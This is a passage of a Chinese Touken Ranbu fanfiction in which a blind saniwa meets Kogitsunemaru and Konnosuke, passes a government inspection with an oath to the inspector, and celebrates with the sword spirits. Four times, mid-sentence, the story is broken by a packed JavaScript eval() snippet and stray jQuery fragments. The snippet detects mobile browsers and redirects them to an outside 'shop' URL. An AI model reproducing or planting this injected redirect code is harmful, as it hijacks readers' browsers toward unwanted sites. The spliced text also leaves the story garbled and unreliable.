“我知道了,替我谢谢烛台切。” 绫小路望盘腿坐着腿都麻了,支着导盲杖站起来,活动了一下脚踝,“听到了很多有趣的故事,谢谢乱。” “不客气哦,还有想听的也可以来找我,审神者大人。”乱藤四郎挥挥手,“如果想了解前任审神者的话,审神者大人可以多问问大家,我们都愿意跟您一起分享。” “前任审神者吗,”和泉守兼定被提起了兴趣,“那可是一位帅气的审神者。” “可恶啊,要不是我还要出阵,我也要加入你们。” “卡内桑。”跟在身后的堀川国广有些无奈,“时间快到了哦。” “我知道了,那我们先去集合了,乱。”被提醒的和泉守兼定笑了一下,“祝审神者大人顺利。” “出阵顺利。”绫小路望也回了一句,“武运昌隆。” “那就借审神者大人吉言啦。”乱藤四郎笑道,“我们会把胜利带回来的。” 加州清光和大和守安定有事先行离开,只剩绫小路望一个人在本丸继续闲逛。 这个点本丸里的刀剑男士要不在忙,要不就是在休息,绫小路望的脚步声回荡在廊下。 小狐丸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520971|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回头,绫小路望刚好闯入他的视野。 “审神者大人。”小狐丸说话时尾音是拖着的,像是情人之间的缠着的暧昧的丝线一般,“要坐到小狐身边吗。” 小狐丸没有站起来扶绫小路望的意思,半侧着坐在廊檐上,一手撑着地,另一只手拿着梳子,打理着头发。 没有沉睡在三条部屋的小狐丸,最后被三日月宗近从手合场的刀架上轻轻拿下。 交给绫小路望唤醒后,除了第一面例行的自我介绍,绫小路望再也没在本丸内碰到过他。 又是三条派的啊…… 或许是因为三日月宗近的原因,再加上绫小路望最近查到的一些历史资料,他对三条派的刀剑产生了一些滤镜。 “小狐丸在忙吗?”绫小路望没有走过去,而是站在原地。 小狐丸垂眸,白色的长发轻轻绕在指尖:“可以忙,也可以不忙,小狐自然是以审神者大人为主。”他笑起来时,能隐约看到尖牙。 “那就陪我聊会儿天吧,”绫小路望轻轻笑了笑,继续说道,“可以麻烦小狐丸扶我一下吗?” 感觉好难拉近距离。 绫小路望在心里叹了口气。 听到绫小路望的话,小狐丸手上的动作顿了顿,随即站起来:“为您效劳,审神者大人。” 坐下后,小狐丸把梳子塞进绫小路望的手中,很自然地半侧身,将头发暴露在绫小路望的面前:“那就麻烦审神者大人帮小狐打理毛发了。” “要轻点哦……这可是很珍贵的……”他的声音压得很低,但绫小路望听得很清楚。 拿着梳子的那只手抬高,另一只手摸索着捧起一缕头发,梳子在发间穿梭着。 绫小路望怕把面前的刀弄疼,动作放的很轻。小狐丸的头发很顺滑,几乎没有什么结,机械的动作加上梳子摩擦发丝的“沙沙”声,另绫小路望有些昏昏欲睡。 “审神者大人。”小狐丸的声音突然想起,有些措不及防,“听说您在打听前任审神者的事?” 绫小路望愣了一下,还没来得及回答,就听到了下文,“虽然不应该由小狐来说,但是……” “审神者大人在担忧什么?” 绫小路望听完只剩下无奈。 他们之间真的有交换过信息吗? 还是说三日月宗近的保密意识这么好?他还以为他们谈完的第二天,全本丸就都会知道“待定”是他主动要求的了。 看来是他把他们想太坏了。 小狐丸也不需要绫小路望的回答,他只是刚好在走廊遇到了审神者,又碰巧跟审神者说上了话而已,于是自顾自道:“起码对我来说,前任审神者是一个很好的人,这点我不会欺骗审神者大人。” “我会怀念他,也会想过前任审神者如果还在本丸会怎样。但也仅此而已了。” “我们现在是您的刀剑男士。” 小狐丸笑了笑:“审神者大人的手法很舒服,小狐还想再享受一会儿。” “让其他人知道一定会嫉妒的。” “那句话怎么说来着……嫉妒就会变成恶鬼。” 16. 狐狸 绫小路望醒过来的时候,带着淡淡的倦意,他完全不记得最后是怎么回到床上的。 唯一残存的模糊记忆,是脸颊陷入一团蓬松柔软、带着暖阳气息的毛发里,暖意裹着周身,随后便彻底陷入了沉睡,什么都不知道了。 应该是小狐丸把带他回来的吧。 就是烛台切光忠留的那顿饭他还没吃上,有点可惜了。 绫小路望不知道时间,只觉得外面静悄悄地,也没有脚步声,整个本丸沉浸在一片寂静之中。 已经到晚上了吗? 左右现在醒了,一时半会儿也睡不着,绫小路望伸手摸向导盲杖,拿着他觉得唯一可以让他心安的东西拉开了移门。 屋外没有白日里阳光洒在皮肤上的温热暖意,只有微凉的夜风轻轻贴过脸颊,带着夜晚独有的清冽草木气息,丝丝凉意蔓延开来。 嗯,确实是晚上。 深吸一口气,任由清凉的夜风灌入鼻腔,绫小路望思考了一下方向。 决定了! 他要夜探天守阁。 绫小路望也说不清那里到底有什么东西在吸引他,明明已经去过很多次了,明明二楼的文字现在也阅读不了,但绫小路望还是想过去。 就好像心里有什么在催促着跟他说,那里有东西,去找到他。 ……会是系统所谓的“真相”吗? 毕竟除了灵力,他身体里莫名其妙多出来的,只有那个出现又消失的系统了。 绫小路望并不是一个很冷静的人。 恰恰相反,有的时候他会非常情绪化,很容易他脑袋一热,然后情绪支配行为。 之所以至今什么过分的事情都没做出来,只是因为他看不见,他的身体条件不允许而已,毕竟他就算想要打人,拳头也对不准。 他被自身的缺陷牢牢束缚着。 就像答应系统一样。 绫小路望想要看见,于是他就来了。 在原来的世界的其他人眼中,他会不会已经失踪了?他那个定时打钱的舅舅发现这件事了吗? 这些想法在脑海里一闪而过,但绫小路望不会为此事忧虑。 做都做了,世界上也没有后悔药。 绫小路望现在能做的只有好好活在当下,然后找到让自己看见的方法。 他去了天守阁顶层。 白日里应该有刀剑男士前来仔细打扫过,地面干净整洁,绫小路望走过时没发现任何掉在地上的物件。 窗户也没有完全紧闭,只留了一条窄窄的缝隙,用来通风。夜风顺着缝隙吹进来,发出细碎的声响。 嗯? 绫小路望停住脚步,瞬间屏气凝神。 ……好像还有其他声音? 除了窗外刮进来的风声,好像还有呼吸声? 除了绫小路望之外的,极轻、极缓的呼吸声。 是谁在天守阁守夜吗?但绫小路望不记得有这种安排。 压下疑惑,下意识放轻脚步,绫小路望贴着冰冷的墙壁,慢慢的接近那道呼吸声,想要认出是谁—— 是一个没见过的光团。 起码绫小路望无法通过灵力分辨出对方是谁。 新唤醒的刀剑男士?可他没有任何印象。但这个光团里说蕴含的灵力又是他本人的。 确认这不是外人,绫小路望轻声道:“您好?” 回答他的是呼吸规律的起伏声。 啊,居然是睡着了。 绫小路望后知后觉地想到。 怎么办,要叫醒吗? 会不会不太好?会不会有点冒犯到对方了。 绫小路望在脑中搏斗着的时候,或许是身边多出来的人存在感实在太高,那个光团突然动了动,发出尖叫: “审神者大人!” 声音尖锐,语气难掩欣喜与激动,吓得绫小路望指尖微微一颤。 “咱终于见到您了,审神者大人。” 声音好像是从脚底下传来的。 绫小路望犹豫着低头,心里不确定地想。 有这么矮的刀剑男士吗? ——自然是没有的。 或许是已经被做了功课,在绫小路望低头的时候,狐之助很上道地做起了自我介绍: “咱是D0009本丸的狐之助,初次见面审神者大人。” 这个就是狐之助吗? 为了照顾绫小路望的脖子,狐之助纵身一跃,跳到一旁的桌子上,声音中带着哭腔:“对不起——咱来晚了——” “审神者大人千万不要讨厌咱啊嘤嘤嘤。” 好吵。 这个声音也太折磨耳朵了。 这是绫小路望对狐之助的第一印象。 这个狐之助的画风是不是有点过于奇怪了? 绫小路望虽然没见过狐之助,但今天听到的故事都有提到这个名字。本丸里的刀剑男士也都是沉稳为主,即使是较为活泼的短刀,涉及到正事时也都严肃认真。 狐之助是不是有些过于跳脱了? 见绫小路望不回答,狐之助看起来更伤心了。 要不是顾虑绫小路望双目失明,且他们第一次见面,狐之助恨不得跑到绫小路望怀里疯狂撒娇道歉。 “咱在审神者大人刚签订契约的时候就想来了,但是政府一直压着咱的报告,咱真的不是故意缺席这么久的审神者大人——” “千万不要生气啊审神者大人——” “我知道了,” 绫小路望感觉自己的耳朵简直要炸开了,赶紧打断,声音急促,“我没有生气,我也没有讨厌你。” 总之这样说的话狐之助应该就能闭嘴了吧。 事实证明,绫小路望想太好了。 得到肯定的狐之助一下子转阴为晴,声音更加响亮:“呜哇——咱就知道审神者大人您人美心善,您真是太好了——” “谢谢您留在我们本丸,咱终于可以回来了——” 狐之助毕竟是隶属于时之政府的人造式神,虽然会对本丸和审神者负责,但在空窗期是需要时之政府同一监管,以防有人把狐之助带走,窃取资料。 从本丸联系时之政府需要消耗灵力,联系在总部的狐之助自然也一样。所以除了最开始的一两年,D0009本丸的狐之助也失去了该本丸的消息,每天都在担忧中度过。 感受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520972|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到本丸契约重新启动的狐之助本来想第一时间赶回来,却因为签订契约的审神者并不是时之政府寻找的人,上面说还需要再观察一下,就把狐之助提交的申请按了下来。 直到前几天监察官回到总部,狐之助才被成功放行。 快速完成了交接手续后,狐之助就第一时间回到了D0009本丸。 刚到本丸,狐之助就被发现时空转换器有波动,看过来查看情况的药研藤四郎告知绫小路望在休息。 不清楚新任审神者是什么性格的狐之助不敢打扰,就默默跑到天守阁等着,不小心睡过去了。 再然后,就被大半夜来天守阁的绫小路望发现了。 “真不知道政府的监察人员在想什么,审神者大人把本丸打理得这么好,居然只给了一个待定!” “审神者大人都已经被刀剑男士承认了,政府居然还在顾虑,这是在不相信各位刀剑男士的判断吗。” 在有审神者的情况下一般来说,狐之助的立场都会是审神者。 听着它义愤填膺地为自己抱不平,绫小路望露出一丝笑意,反过来安慰狐之助:“没关系的,而且还有机会。” “审神者大人还是太好了。”狐之助瘪嘴,声音软了下来,“他们就是欺负您,不知道您的来历所以怕您。” 嗯?怕他吗? 从那位监察官的态度上,绫小路望完全感受不到这种情绪。 他只当这也是狐之助安慰他的话术,并未放在心上,笑了笑没有说话。 狐之助突然意识到了什么,声音小了几分:“抱歉审神者大人,咱刚才失言了……咱没有打探您的意思。” 虽然时之政府会掌握审神者们的资料,但以防万一他们不会把这些信息同步给所属本丸的狐之助。 “我知道的。” 绫小路望心知有狐之助在,这次夜探天守阁的行动可以称得上完全失败了,准备打道回府,“狐之助就在这里休息吗?” ——虽然绫小路望根本不知道要找到什么才算成功就是了。 闻言,狐之助晃了晃尾巴:“咱之前为了方便工作,是跟前任审神者一起住在天守阁的。”语气中带着不易察觉的小心思。 说完,它一脸期待地看着绫小路望,虽然明白他看不见,但还是努力睁大眼睛,想把期待的情绪传达给绫小路望。 “这样啊。”绫小路望了然,想了想,“那明天我让刀剑男士和你一起把之前住的地方清理出来,狐之助先将就一晚上,可以吗?” 狐之助小小的身子僵了一瞬。 “咱都可以的……审神者大人。”它声音跟刚才比失落了不少,变得蔫蔫的,尾巴也耸拉了下去。 狐之助、重伤! 但绫小路望才不管。 想跟他住一起?没门。 谁知道时之政府研发的式神身上有没有监控,想想就令人毛骨悚然。要是让狐之助和他在同一个空间内休息,绫小路望绝对会想东想西,然后睡不着。 为了他今后的睡眠着想,还是先委屈狐之助待在这里了。 留下身后自闭的小狐狸,绫小路望心情很好地一个人离开了天守阁。 17. 复访 前一天晚上还在外行动的后果就是后一天一觉睡到正午。 没有什么要紧事的情况下,刀剑们也不会来打扰审神者,有序地按照排班表行动,有事就是找鹤丸国永。 早上例行前往天守阁整理报告的鹤丸国永在看到狐之助的时候微微惊讶了一下。 “怎么这么早就来了,我还以为要过一段时间。”鹤丸国永把一叠报告丢给狐之助,“正好你来了,这些就拜托了。” “看到这样的鹤丸殿还真是久违了。”狐之助感叹了一下,从中抽了几张报告出来,“认真工作的鹤丸国永太少见了。” “话可不能这么说。”鹤丸国永笑嘻嘻地,“我相信同振们都跟我一样,只是抢不到近侍的位子而已。” “这个世界需要给鹤丸国永更多的机会!” 狐之助翻了个白眼,对这句话不做评价。 “不要这么严肃,最近本丸这么多好事发生,要开心一单。”鹤丸国永见状,伸手揉搓道,“狐之助已经见过审神者大人了吧。” “不然怎么可能会来天守阁陪伴我这个孤寡老人呢。” “鹤丸殿可别说笑了,您不想写文书报告可以是直接走的,政府没这么严。” 狐之助才不吃这套。这么多年了,这个本丸的鹤丸国永是个什么性格,它还能不了解吗。 就算本丸的审神者不方便写文书报告,也不至于天天都写,拖一两个月这种事在别的本丸也是常有的,时之政府根本不管。 况且时之政府的工作人员也不会闲到把不同本丸的每一份报告都仔细看一遍。 鹤丸国永之所以这么积极写文书报告,不过是想把信号通过报告传递给时之政府。 他们本丸在正常运转,过得很好,也能完成日课,新来的审神者很适合D0009本丸。 其他刀剑男士当然知道鹤丸国永的想法,但不特意问起,也不会有刃跑去跟绫小路望说。 导致绫小路望对文书报告的印象一直是繁重、麻烦的。因此趁着无障碍阅读器还没到,绫小路望抓紧享受最后的自由时间。 毕竟总是让鹤丸国永承担所有事务,绫小路望的良心还是有点微微痛的。 * 不得不说,狐之助回到本丸,大大减轻了日课压力。 出阵、内番安排可以由狐之助直接依照刀剑男士的各项数值生成出的名单来排,本丸日常资源小判紧张也可以由狐之助统计,他们只要每晚睡前记下最终数据就行。 可以说是直接把狐之助当AI使用了。 当然,这也是时之政府最初制造狐之助的初衷。 半个月很快就到,本丸的刀剑男士也基本都被绫小路望唤醒,安排完一队出阵、四队远征后还能有不少刀剑男士留在本丸。 绫小路望能感觉到本丸内的生活气息变得更多了。 人手一多,鹤丸国永也更轻松了。隔三差五去一次天守阁,把其他刃叫上来的出阵报告稍微润色一下,就能直接上交给时之政府了。 绫小路望经常会在走廊碰见三五个坐在一起品茶的刀剑,路过时能从他们那蹭到一两块烛台切光忠特质的茶点。 ……有点幸福过头了。 绫小路望跟他们坐在一起,晒着太阳,享受着狮子王的按摩。 “怎么样,审神者大人。”狮子王声音活泼,“我照顾人可是有专属诀窍的,是不是感觉轻松了很多。” “手法不错。”绫小路望肯定了狮子王的技术,想要伸出大拇指夸奖,手伸到一半却停在了空中。 狮子王还以为是自己弄疼了绫小路望,有些紧张道:“抱歉审神者大人,是力气太大来了吗?” 回过神,绫小路望安抚地拍拍狮子王落到他肩上的手,另一只手撑着廊檐站起来:“时空转换器启动了。” “远征队不是刚走吗?”跟他们坐在一起的秋田藤四郎有些疑惑,随即想到了什么,语气变得有些担忧:“会不会出危险了!” “怎么可能,大家等级都很高。” 如果是出阵的队伍可能还要担心一下,但狮子王很肯定去远征的队伍不可能遇到无法应对的危险。 绫小路望心里有了猜测。 正好时间也差不多了。 “应该是监察官来了。” 绫小路望说道,“陪我一起去迎接一下吧。” 果不其然,待绫小路望走到本丸中庭,时空转换器面前已经静静站了一个人。 是半个月前的那位监察官。 看到绫小路望,监察官主动上前一步:“D0009本丸的审神者,对吧。” 不管是说的话,还是语气,都跟第一次见面时一模一样。 “是的。”绫小路望回答。 “带我去天守阁。”监察官抬了抬下巴,“刀剑男士不用跟着,你和我一起。” “可是……” 最近刚被唤醒的狮子王有些着急,话还没说完就被绫小路望打断了。 “没关系,去忙吧。” 秋田藤四郎扯了扯狮子王的衣摆,对方这才一步一回头的离开。 见这附近只有他们两个人,监察官虽然没有摘掉变声器,但语气一下子亲近了很多:“看来你挺受欢迎的。” “这半个月的时间想得怎么样,考虑换一个新本丸吗?” 这人到底为什么这么执着让他换一个本丸? 绫小路望在心里吐槽,面上表情不变:“结果还不错吧。” 即使是那些不是很亲近他的刀剑男士,对于日课安排也都欣然接受,见面时也会使用尊称。 绫小路望在心里解除了对他们的警报。 至少目前来看,本丸里不会有人想害他。 检监察官点点头,若有所思:“鹤丸国永呢?” “今天轮到他出阵。” 毕竟是刀剑男士,总不能只处理文书耽误了本职。刀剑是有血性的,他们需要上战场,去前线和时间溯行军正面交战。 “那狐之助呢?”监察官手上的资料更新过,自然知道狐之助已经回到本丸。 绫小路望想了想:“应该在厨房?它去蹭油豆腐了。” “那先不要通知狐之助。” 监察官调出面板,点了几下,随后在包里翻找着什么,拿出来递给绫小路望:“伸手。” 他依言照做。 一个并不算沉重的小物件落入绫小路望的手中。 监察官解释到:“这是你申请的无障碍阅读器,反正今天的考核 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520973|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果早就定下来了,我就顺路帮你拿过来了。” “谢谢。”绫小路望摸着阅读器的外轮廓,“请问这个要怎么使用?” “抱歉,是我疏忽了。”监察官靠近绫小路望,从他手里拿过阅读器,“需要佩戴在耳朵上,介意我帮你带吗?” “麻烦了。”绫小路望微微蹲下歪头,撩起碎发,露出右边耳朵。 像是耳罩一样的东西覆盖在他的耳朵上,不过是冰凉的,带着金属独有的触感。 “你大致摸一下前后,阅读器上的摄像头会自动识别离你最近的文字,手指动作也会识别。” 监察官递给绫小路望一张说明,“总之挺智能的,这是说明书。” 绫小路望低着头,听着传入耳中的声音,手指摩擦着说明书上的文字。听完整张纸上的内容,将其收好,绫小路望对监察官说道:“谢谢。” “又不是我做的,不用谢我。”监察官摆摆手,“我挺佩服你的,顺手拿过来而已,迟早都是你的。” “老规矩,给我看下刀账。” 检察官快速翻阅了一遍,纸在她手中发出和空气碰撞的响声,“本丸空缺的十几年时之政府实装了几把新刀,但需要等限锻,不用强求满刀账。” “一些例行通知,等我走了你自己看就行,具体内容政府已经发你通讯器上了。” 监察官清了清嗓子,“敲定合格之前我需要和你立一个誓约。” 绫小路望有印象,于是点头:“好的。” 他突然感觉脚下的地板有些发烫,空气的流动也乱了起来,甚至有隐隐扩大之势。 “真名。” 监察官不知何时摘下了变声器,用本音说到。 绫小路望愣了愣,但还是如实回答:“绫小路望。” “你是否是出于自身意愿接手D0009本丸。” “是的。” “在任职期间,你是否能保证不会因为刀剑付丧神对前任审神者的感情而产生嫉妒、不满等情绪,并保证不会对刀剑付丧神和本丸做出伤害行为。” “我保证。” 绫小路望毫不犹豫地说道。 监察官顿了顿,继续道: “违反者将剥夺全部灵力和相关记忆。” “立誓完成。” 话音落下,绫小路望能感觉有什么东西从脚底往上,将他缠绕住,在快要影响到呼吸的时候又突然消失。 “可以动了。” 见绫小路望无措地站在原地,监察官开口提醒,“放心,除了专门管理审神者信息的政府员工外,你的真名只有我知道,我们都会遵守保密规则。” 绫小路望倒不是在担心这些。 他只是在回味刚才的感觉。 ……好神奇。 “这也是用灵力做到的吗?”他问道。 “诶?”监察官愣了一下,显然没想到绫小路望会这么问,“对的,但这个是家传的,一般人学不了。” “会有其他副作用吗?” “不会。”监察官老实回答,“只要你不违反誓言内容,就跟不存在一样。” “恭喜,正式成为D0009本丸的审神者。” 监察官对绫小路望笑着说道。 18. 合格 结束后,绫小路望的脚步刚迈到楼梯口,身后突然传来了清亮的声音,带着不容置疑的笃定:“请等一下。” “我不喜欢不公平,所以,我会把我的真名告诉你。”她的语气中带着郑重。 “没关系吗?把真名随便告诉别人不太好吧。” 绫小路望有些犹豫,指尖轻轻摩挲着导盲杖对他杖身。 在他固有的认知中,知道别人的秘密是一件很麻烦的事情,往往意味着要承担一些责任。 “没关系,只要不随便告诉其他人就行。”监察官摇头,“我是隶属于时之政府的员工,有员工福利,真名受到保护。” 她把话说得比较俏皮,冲着绫小路望wink了一下:“而且我相信你不会随意说出去的。” “如月星凛,负责D0009本丸,希望未来有机会一起工作。” “代号是冬月,以后遇见了可以这么称呼我。”如月星凛声音清脆,“你的代号呢?” 绫小路望想了想:“就叫竹秋好了。” 如月星凛的来去无影无踪,离开的时候没有惊动本丸的其他人,就连狐之助也没有见。 想来是如月星凛在总部的时候就和狐之助聊过了。 绫小路望一边猜测着,一边把本丸考核合格了这个消息带给其他人。 “太好了!”狐之助的反应最为激烈,“审神者大人——” 它的声音像炮仗一样炸开,激动得在空中划出一到弧线,冲进绫小路望的怀里,但也收了力气,不会让绫小路望因此摔倒。 “要庆祝一下吗?大将。” 药研藤四郎不知何时出现在绫小路望身侧,推了推眼睛,很自然地改变了对绫小路望的称呼。 “诶——药研抢跑哦。”加州清光跑到绫小路望面前,带着几分娇嗔,撒娇道,“我们一起庆祝一下吧,主人。” “好。”绫小路望想了想本丸目前的人数,有些头疼,不知道该用什么方式庆祝,“我们去室外烧烤?” 他不清楚其他人是怎么庆祝的。 绫小路望以前总是一个人,也没有机会参加聚会,为数不多有关庆祝的事情都是从书本或者电视剧里听到的。 烧烤应该算庆祝吧。 “好耶!我记得仓库里有工具。”乱藤四郎第一个跳起来,“到时候主人一定要吃我烤出来的!” 绫小路望自然同意。 次郎太刀左看看右看看,顺势提出了自己的想法:“可以喝酒吗,主人。” “你平常不也喝吗?”和泉守兼定吐槽道,“不过确实需要喝点什么,主人觉得呢?” 刀剑男士在用这种方式,无声的告诉绫小路望,他们都已经改口,真心实意地接纳了他这个新任审神者。 “既然是为了庆祝,那就好好放松一下,想干嘛都可以。”想了想,绫小路望补充到,“不过我喝不了酒,只能坐在旁边陪你们了。” 其实只是绫小路望从没喝过酒,不知道自己酒量怎么样。万一耍酒疯,做出什么失态的事情就糟糕了,还是谨慎点好。 “那就榨点果汁?”小豆长光提议,“我记得后山有果树,可以去摘一点。” 对后山最为熟悉的乱藤四郎肯定了小豆长光的话:“没错没错,后山果子超甜的,主人您肯定喜欢。” 现在的季节傍晚最为舒服,偶有轻风拂过,在室外也不会闷热。 最后,所有人一致决定在万叶樱下面举办这次庆祝聚会。 “这么好的风景可不能浪费。”午后的阳光透过叶片缝隙洒下,斑驳光影落在地面上。 歌仙兼定找了几个刃帮忙一起装扮场地,看着眼前开阔又雅致的景象,满意地点头,“这可是主人第一次在本丸的庆祝会,绝对不能能掉链子。” “都给我打起精神!” “歌仙你太紧张了。” 大和守安定爬到万叶樱上,将一串串精致的装饰灯挂上,语气轻松,“而且主人根本看不到,只要烧烤好吃就行了吧。” 同样站在树上的加州清华反驳:“不不不,安定你这么想就大错特错了。” “这可是在表达我们对主人的尊重和喜爱,当然要好好打扮了。” “要让主人感受到我们的心意!” 看着已经陷入美好幻想,满脸红晕开始飘花的好友,大和守安定默默转过身。 ……有点没眼看了哦,清光。 岩融把烧烤用的架子从仓库搬了过来,今剑跟在他身后,怀里抱着一个纸箱左右张望着。 “跟以前一样呢。”今剑感叹道。 “是啊,我们大家都还在一起。”大和守安定双手一撑,轻盈地从万叶樱上跳了下来,无声落地,“现在的主人对我们也很好。” “日子会越来越好的。”他坚信地说道。 与此同时,大广间内。 时之政府的正式考核结果已经清晰的显示在了通讯器。 “有正式通知就行了。”看到上面的“合格”二字,鹤丸国永松了口气,转头对绫小路望笑道:“恭喜呀,主人。” 三日月宗近也坐在大广间内,闻言眼眸微微弯起,跟着附和了一句:“今后请多多指教。” “嗯。”绫小路望第一次觉得三日月宗近居然也会说人话。 这话听着顺耳多了。 而且没有人来问他到底和如月星凛聊了些什么,这也让绫小路望轻松了很多。 鹤丸国永又把通知看了一遍,视线停留在最下方,语气似乎有一丝惊讶:“这次的监察官原来是冬月大人。” “鹤丸你认识?”绫小路望偏头看了过去,好奇地问到。 鹤丸国永点头:“不止是我,本丸内很多刀剑男士都接触过冬月大人。” “确实,老爷爷也对那个小姑娘印象深刻。”三日月宗近哈哈一笑,“这就说的通了。” 三日月宗近没有解释最后这句话是什么意思,带着笑容喝了口茶,眼底藏着一丝了然。 “除了日课之外,我们本丸的任务都是跟冬月大人进行对接,前任审神者带我去总部的时候见过几面,后来熟了冬月大人也经常来本丸拜访。”鹤丸国永的语气带着怀念。 居然是早就认识吗。 怪不得如月星凛带着变声器,恐怕就是担心被这个本丸的刀剑男士认出来,影响考核的公平性吧。 如月星凛……把真名告诉他,真的是因为她口中的“公平”吗? 绫小路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520974|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望脑海中泛起阵阵思绪。 如月星凛和前任审神者应该是友人吧,她应该也会为前任审神者的离去而感到难过吧。 但如月星凛又为什么会成为D0009本丸的监察官。 难道不会触景生情吗? 绫小路望说不上来他现在心里的感受。酸酸的,麻麻的,有点悲伤,又有点失落和庆幸,负面的、正面的交杂在一起,缠绕在他的心头,心底泛起一个个泡泡,又被一个个戳破。 他下意识地抗拒去深究这些。 感谢遮在眼睛上的黑布,绫小路望可以控制自己露在外面的表情不表现出异样。微微扬起嘴角,绫小路望开玩笑道:“这么说的话,我们算不算走了关系?所以考核才这么轻松,还有再来的机会。” “唔……我们是关系户?” 知道内情的三日月宗近闻言,眨了眨眼,没有戳破。 “哇!我怎么就没想到,主人真是个天才!。”鹤丸国永的眼睛亮了起来,“下次碰见了可要好好感谢一下冬月大人。” 绫小路望心中的郁气稍稍被吹散了一些。 同时,他对前任审神者的好奇又多了几分。 绫小路望抬手轻轻摸着耳朵上的装置,想到, 找个机会一个人去天守阁吧。 那里还有一个本子在等着他。 * 晚风卷着淡淡的樱花香,和烤肉的焦香、火舌碰撞在烤肉上的“滋滋”声交织在一起,弥漫在万叶樱下。 绫小路望被鹤丸国永搀扶着,顺着他的力道坐到了一个软垫上。 虽然绫小路望已经可以自己行走,也能通过灵力“看”到本丸,但不知为何,鹤丸国永依旧坚持扶着他走。 “这可是我的表现机会,主人可不要夺走了。”鹤丸国永是这么说的。 绫小路望可以清晰地闻到空气中升腾的烟火气。 刚坐下,他的手里就被塞了一杯用来解腻的冰凉的鲜榨果汁,鼻尖也被烤肉的香味霸占,在绫小路望面前冒着热气。 “第一串烤好啦!主人尝尝吧。”乱藤四郎期待地看着绫小路望,“要我喂您吗,主人。” 绫小路望婉拒了。 轻咬一口,外焦里嫩的肉质在舌尖化开,孜然调料恰到好处,隐约透着柠檬的清香。 “好吃。”他毫不犹豫给了肯定。 “那我再给主人烤一点!”乱藤四郎蹦蹦跳跳地回到了烤架前,“好好享受吧!主人。” 其他人也陆陆续续跑到绫小路望面前,给他投喂了不同风味的烧烤。绫小路望都一一尝过,不管口感怎样,都给了正面评价。 短刀们围在绫小路望身边,叽叽喳喳讲着本丸最近发生的趣事;远处一些刃靠在树干上,举杯畅饮,次郎太刀唱着不成调的歌谣,尾音消散在空气中;烤架前,乱藤四郎几人兴致勃勃地翻动肉串,面容被烟雾半遮,开心地低声交谈着。 “会不会吃得有点多了?”烛台切光忠难得空闲,“我去让他们克制一下。” “麻烦了。”绫小路望确有此意。 夜色渐浓,万叶樱的花瓣在晚风中轻轻飘落,落在绫小路望的发丝上。 万叶樱下,欢声笑语久久不散。 19. 总部 不过绫小路望一时半会儿找不到时间去看那本他心心念念的本子了。 或许是如月星凛返回总部的时候特意提及,又或是考核合格后的例行安排,在庆祝结束的第二天,绫小路望收到了明天去一趟时之政府总部的通讯。 紧随其后的,是如月星凛的私人通讯。 【我帮你联系了我在医疗部和科研部的朋友,希望能对你的眼睛有所帮助,顺便根据你个人的使用情况改进一下无障碍阅读器。】 文字简洁直白,带着她一贯以来不喜绕弯子的风格。 按照时之政府规定,审神者去总部时需要带一位刀剑男士同行,人选自然就是曾经去过总部的鹤丸国永了。 “冬月大人还真是热心。”将通讯内容告知鹤丸国永后,鹤丸国永感叹了一句。 是啊,真热心。 就是不知道这个热心有没有目的了,毕竟如月星凛和前任审神者交情不浅。 绫小路望又开始习惯性地在心底泛起层层疑虑,失明的生活让他缺少安全感,会经常把一个人往最坏处想。 当然这些话他不可能对鹤丸国永说。绫小路望只能把这些多疑的、阴暗的念头默默压下。 时之政府会有方法吗? 毕竟他的失明是先天的,这真的是能被治疗好吗? 还是说给他制造一个可以视物的机械义眼? 科幻小说里不都这么写嘛,更况且时之政府掌握着最先进的技术,实现这些并非没有可能。 回到房间后,绫小路望一个人坐着,想着可能会遇到的情况。一想到他有机会摆脱无边的黑暗,激动怎么也按耐不住。 自从遇到系统,成为审神者,再到成功使用灵力,绫小路望的唯物主义世界观早就碎地连渣都不剩了。 良久,轻轻叹了口气,绫小路望选择睡觉。 算了,总能知道的。 还是先思考一下怎么让自己睡着吧,明日还要早起去总部。 绫小路望躺下身,努力酝酿着睡意。 * 